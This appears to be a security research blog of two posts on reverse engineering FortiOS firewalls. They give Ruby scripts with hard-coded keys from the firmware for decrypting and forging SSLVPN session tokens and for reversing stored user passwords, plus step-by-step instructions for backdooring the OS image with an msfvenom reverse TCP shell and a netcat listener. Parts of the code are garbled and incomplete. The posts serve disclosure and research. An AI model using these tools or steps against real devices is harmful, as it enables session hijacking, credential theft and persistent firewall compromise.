Bad Crypto

After figuring out how to unpack the binaries in FortiOS (covered in my last post), I noticed most of the functionality is provided by /bin/init, and all other daemons are just symlinks to that one file. So I followed my first instinct and loaded it into IDA.

The first thing one notices is all the xrefs to strcpy and sprintf. Yeah, thar be 0-days. But let’s not get into that just yet.

After a bit of hunting for interesting OpenSSL function xrefs and looking for interesting strings, I noticed there are many hard-coded encryption keys. This isn’t a great practice, it means some aspects of the systems security are governed by “security through obscurity”. In other words, they’re hoping no one will check and see how it works under the hood.

Let’s start with SSLVPN. FortiGate has both web-based and thick client SSLVPN. From my Burp proxy logs, the authentication sequence goes something like this:

  1. The client browses to the FortiGate via HTTPS, and is redirected to /remote/login.
  2. The client issues a POST to /remote/logincheck and is redirected to stage 2 authentication, which appears to be a “host check”.  I’m guessing it has features to verify that AV is installed and that sort of thing.
  3. The host check URL is /remote/hostcheck_install.  It has a few parameters, some of which appear encrypted.

The interesting thing about the host check URL is that this is the URL that actually responds with the Set-Cookie header, issuing the user an authentication cookie. So if you can guess or brute force this URL, you get a valid session. Neat.

Let’s take a look at an example request:

GET /remote/hostcheck_install?auth_type=1&user=76706E75736572&&grpname=76706E&portal=66756C6C2D616363657373&&rip= HTTP/1.1

Okay, so the user, grpname and portal parameters are just hex encoded.  So user, for example, is “vpnuser” in ASCII. But what is the sid parameter?  Can we decode this?

As it turns out, I stumbled upon the code to decrypt the sid (and SVPNCOOKIE) by accident. I notice the string “c25*dc2$dgl#jp^” in the string table of the /bin/init binary, and my curiosity was peaked. After some extensive reversing, here’s some Ruby code to decrypt the sid values, and make new ones:

#!/usr/bin/env ruby
# encoding: binary

require 'openssl'

def get_cipher_key(s)
  sv_cookie_key1 = "\xdf\x19\x79\x86"
  sv_cookie_key2 = "\x38\xba\x40\xdf"
  sv_cookie_hkey = 
    "\xcd\xf1\xfb\x45\xdc\x85\x37\xba" +
    "\x9d\xce\x58\x45\xc7\xb0\x9e\x62" +
    "\x46\x2a\x2a\xb0\xec\x15\x5b\x5b" +
  hmac = OpenSSL::HMAC.digest('sha1', sv_cookie_hkey, s)  
  ks = sv_cookie_key1 + sv_cookie_key2 + hmac[0,8]
  iv = hmac[0,16]
  [ks, iv]

def encode_sid(sid)  
  secret = "c25*dc2$dgl#jp^"
  sid += OpenSSL::HMAC.digest('sha1', secret, sid)
  cipher ='camellia-128-cbc')

  cipher.key, cipher.iv = get_cipher_key(secret)
  cookie = cipher.update(sid)
  cookie <<

def decode_sid(sid)
  sid = sid.scan(/../).map { |x| x.hex.chr }.join
  secret = "c25*dc2$dgl#jp^"
  cipher ='camellia-128-cbc')

  cipher.key, cipher.iv = get_cipher_key(secret)
  cookie = cipher.update(sid)
  cookie <<

puts decode_sid(ARGV[0])

You might be wondering — what’s up with the get_cipher_key function? I think this is their crude attempt at obfuscation. The translation to ruby is fairly literal, so I left this as is. But yes, they actually derive the key at runtime, to make my life a little more interesting.

If you run the script with a valid sid parameter as an argument, you should get similar output to the following:


Neat. So it appears each value is encoded with a 4-digit length field, then the value. The vaules seem to be serial number, username, user group, portal name, IP address, some zeros (probably the realm), a “1”, and the epoch time stamp (twice). Wait… all of this is simple to brute force!

I’ll leave the implementation of a brute force script to the reader, but yeah, it works. There is very little entropy in the sid token. The serial number of a remote FortiGate is simple to obtain. Many of the self-signed certificates on the system set the CN to the serial number, so in most cases it’s as easy as “echo “” | openssl s_client -showcerts -connect <ip address>”.

If that doesn’t work, try spoofing a CAPWAP packet — but that’s a story for another day.

The unix epoch time can be iterated over the last hour or so, and the source address may be known if the target can be observed. NAT means that any person logging in via an airport of coffee shop network has a known source IP. And if you already have credentials to the VPN and just want to login as a different user (with more favorable permissions), it’s dead simple.

While that’s pretty cool, are there any other obvious examples of bad crypto? Another thing that caught my eye is encrypted passwords in the config. Now passwords for admin users are stored using a hash, albeit a weak one (Hashcat will crack the hashes that start with AK1), it’s still not simple to reverse. But take a look at the passwords for other system users:

config user local
 edit "vpnuser"
  set type password
  set passwd-time 2015-09-02 11:45:00
  set passwd ENC XR/8Zk1ztvCtvMCrFT661civgZ3XxLZR0aWUuKCMGYVOk0KXpo41RnA5w/jkY76FzX3bTVWaehMTMypDO0s68a2SVApPvWAUXJKJZsUrU0RKyxa279fBcvVuM6TVYFvOa/INexHo99zbneHEr2O14tyxt5RGLPlVobWMgpJuJTFF1b5UDSbRc5hoS1/4ERHvi+Vazg==

It turns out these are reversible. You can tell because values such as IPSec PSKs (which need to be known in cleartext) are encoded this way. So after some more reversing, I figured out the encryption scheme:

#!/usr/bin/env ruby
# encoding: binary

require 'openssl'
require 'base64'

iv, text   = Base64.decode64(ARGV[0]).unpack("a4a144")
cipher     ='des-cbc').decrypt
cipher.key = "\x34\x7c\x08\x94\xe3\x9b\x04\x6e"
cipher.iv  = iv + "\x00" * 4

pass = cipher.update(text)
eos = pass.index("\x00")

if eos && eos > 0
  pass = pass[0,eos]

puts pass

If you run the code above with the base64 value from the config snippet above, it will decrypt to the value “password”.

The moral of the story is this: don’t use baked-in encryption keys. Use hashes (strong ones) when possible. If that isn’t possible, create keys from random numbers (with good entropy). If that’s not possible, derive keys from a configurable master pass phrase. But don’t ever bake it in and hope no one will reverse engineer your code.

Backdooring a FortiOS VM

Lately I’ve been playing with FortiOS 5.4 Beta 3 VM.  In previous versions of FortiOS, you could use the hidden fnsysctl command to run linux CLI commands (only a subset, unfortunately).  For example, if you download the FortiOS 5.2 x86 VM, you can run the command “fnsysctl cat /proc/version”, which will display the Linux kernel version it uses.

For those of you that didn’t know, FortiOS is Linux. They are the same.  And FortiOS, up to and including version 5.2, is Linux 2.4. This means that FortiOS does not have ASLR, DEP, stack cookies, or any modern Linux exploit countermeasures.  And everything is written in C, and all processes run as root.

Personally, I find this bizarre. The company I work for has FortiGate firewalls, and it’s a little weird to think that the only Linux box we have running kernel 2.4 is the box we’re using to protect all the other Linux boxes.  Anyway, I digress.

Back to FortiOS 5.4. It seems that Fortinet is tired of porting third-party vendor SDK driver code back to Linux 2.4, so they decided to upgrade the kernel to 3.2. ASLR is even enabled. Not sure about DEP, but I know stack cookies aren’t enabled. But it also appears that “fnsysctl” has been removed. Let’s fix that.

Once you’ve downloaded the OVF zip archive, unzip it, then run ovftool to get it working on VMware Fusion (or Workstation). You will find that it sets up two disks, with the first disk name ending with “-disk1.vmdk”. This is the system boot drive and is formatted ext2.

For our experiment, you’ll need a Linux box. Something on the 3.x kernel, running 32-bit (i686-pae is fine). In VMware, add an “existing disk” to your Linux VM. It’s fine to copy the disk rather than sharing it with the FortiOS VM. Make sure that FortiOS is powered down via “exec shutdown” and not simply suspended.

Once you’ve copied the VMDK and connected it to your Linux VM, mount the disk via “mkdir /mnt/fos” and “mount /dev/sdb1 /mnt/fos”. The disk may be detected as something other than /dev/sdb1.  Use the output of dmesg to check.

Now cd to the /mnt/fos directory, and enter “ls -la”.  You should see the following files:

drwxr-xr-x 8 root root     1024 Aug 30 21:06 .
drwxr-xr-x 8 root root     4096 Aug 30 10:29 ..
drwxr-xr-x 2 root root     1024 Aug 17 20:53 bin
-rw-r–r– 1 root root        1 Aug 17 20:53 boot.msg
drwxr-xr-x 2 root root     1024 Aug 24 17:54 cmdb
drwxr-xr-x 2 root root     1024 Aug 30 19:58 config
-rwxr-xr-x 1 root root    32516 Aug 30 20:03 crash
-rw-r–r– 1 root root        0 Aug 30 20:02 dhcp6s_db.bak
-rw-r–r– 1 root root        0 Aug 30 20:02 dhcpddb.bak
-rw-r–r– 1 root root        0 Aug 30 20:02 dhcp_ipmac.dat.bak
drwxr-xr-x 8 root root     2048 Aug 24 14:51 etc
-rw-r–r– 1 root root      124 Aug 17 20:53 extlinux.conf
-rw-r–r– 1 root root  2314464 Aug 17 20:53 flatkc
-rw-r–r– 1 root root      256 Aug 17 20:53 flatkc.chk
-r–r–r– 1 root root    32256 Aug 17 20:53 ldlinux.sys
drwxr-xr-x 2 root root     1024 Aug 22 10:59 lib
drwx—— 2 root root    12288 Aug 17 20:53 lost+found
-rw-r–r– 1 root root 21959605 Aug 31 19:21 rootfs.gz
-rw-r–r– 1 root root      256 Aug 17 20:53 rootfs.gz.chk

Great. Now if you cat the extlinux.conf file, you will see that the initrd is set to rootfs.gz. Go ahead and extract this file with gzip, preferably to a different directory. I extracted mine to /root/rootfs. I’m using Kali so hence running as root.

The rootfs blob you extracted is a cpio image. You can extract the files with cpio, using the syntax “cat rootfs | cpio -idmv”. You should now see all the files in the rootfs directory. Go ahead and delete the extracted gzip (called rootfs).

So now we have the following files in our /root/rootfs directory:

drwxr-xr-x 11 root root     4096 Aug 30 10:34 .
drwxr-xr-x 60 root root     4096 Aug 31 19:10 ..
-rw-r–r–  1 root root 12463836 Aug 31 19:21 bin.tar.xz
drwxr-xr-x  2 root root     4096 Aug 17 20:51 data
drwxr-xr-x  2 root root     4096 Aug 17 20:51 data2
drwxr-xr-x  6 root root    20480 Aug 30 10:34 dev
lrwxrwxrwx  1 root root        8 Aug 30 10:34 etc -> data/etc
lrwxrwxrwx  1 root root        1 Aug 30 10:34 fortidev -> /
lrwxrwxrwx  1 root root        1 Aug 30 10:34 fortidev4 -> /
lrwxrwxrwx  1 root root       10 Aug 30 10:34 init -> /sbin/init
drwxr-xr-x  2 root root     4096 Aug 30 10:34 lib
-rw-r–r–  1 root root  5104324 Aug 17 20:51 migadmin.tar.xz
drwxr-xr-x  2 root root     4096 Aug 17 20:51 proc
drwxr-xr-x  2 root root     4096 Aug 30 10:34 sbin
drwxr-xr-x  2 root root     4096 Aug 17 20:51 sys
drwxr-xr-x  2 root root     4096 Aug 17 20:51 tmp
-rw-r–r–  1 root root  1112980 Aug 17 20:52 usr.tar.xz
drwxr-xr-x  8 root root     4096 Aug 30 10:34 var

We’re almost there. The file we’re looking for is called bin.tar.xz. It appears to be an xz compressed tar file, however, all of my attempts to extract this file with xz indicates that it is corrupted.

Fortinet must have altered their version of tar and xz. Luckily, they’ve left their copy kicking around for us to play with. If you look in the /root/rootfs/sbin directory there are three files: init, ftar and xz. To makes these files run, you can chroot to the /root/rootfs directory so that they find their libs in the right directory. Worked fine for me on Kali 1.x running i686-pae kernel.

Extract the contents of the bin.tar.xz using “chroot /root/rootfs sbin/xz -d bin.tar.xz” and “chroot /root/rootfs sbin/ftar -xf bin.tar”.  Issue these commands from the /root/rootfs directory. This should unpack the files into the bin directory under the rootfs.

Now we need to backdoor a binary. I make it really simple. Just “cd” into the rootfs bin directory, and run “rm smartctl” and “msfvenom -p linux/x86/shell_reverse_tcp -f elf -o smartctl LHOST= LPORT=22”. Use an LHOST IP address that the FortiOS VM has connectivity to. This will overwrite the smartctl file with a TCP reverse shell.

Now we need to repackage the files:

cd /root/rootfs

rm bin.tar

rm bin.tar.xz

chroot /root/rootfs sbin/ftar -cf bin.tar bin

chroot /root/rootfs sbin/xz –check=sha256 -e bin.tar

rm bin/*

find . | cpio -H newc -o > /root/rootfs.raw

cat /root/rootfs.raw | gzip > /mnt/fos/rootfs.gz

Now unmount the FortiOS partition and shutdown your Linux VM. Copy the “-disk1.vdmk” that was mounted on your Linux VM over the same VMDK from the FortiOS VM. Now start the FortiOS VM. Try not to act shocked when it boots :)

Once the system is booted, login and drop to a CLI. On your host system, startup a netcat listener:

sudo nc -v -l 22

Now on the FortiOS VM, issue the command: “diag hardware smartctl”.  You should get your connect-back shell.

Now the first thing you’ll likely notice is:

/bin/sh: ls: not found

Don’t panic. This is expected. FortiOS uses “busybox” style binaries extensively, so the command you’re looking for is:

/bin/sysctl ls

The “sysctl” binary has a lot of command line tools, which you can discover by entering the /bin/sysctl command by itself. Now that you have a shell, go and statically compile gdb and get fuzzing.

At this point, you may be wondering: doesn’t FortiOS have integrity checks to prevent this sort of thing? What’s the rootfs.gz.chk file for, then? The answer is, yes, it appears that firmware images and critical files such as the rootfs and kernel do have these signatures in the form of “chk” files.

However, these files are only checked when in FIPS mode. FIPS mode also disables most of the features on the box, so outside of the government, I do not think anyone actually enables FIPS mode. What’s interesting about that, is that all the “certifications” that FortiOS has, ie. EAL4+, are tested while running in FIPS mode.

Thanks for reading! Next post, we’re going to try extracting firmware files of other platforms (real FortiGate hardware firewalls), backdoor them, then see if we can upgrade to a backdoored image.  Should be lots of fun.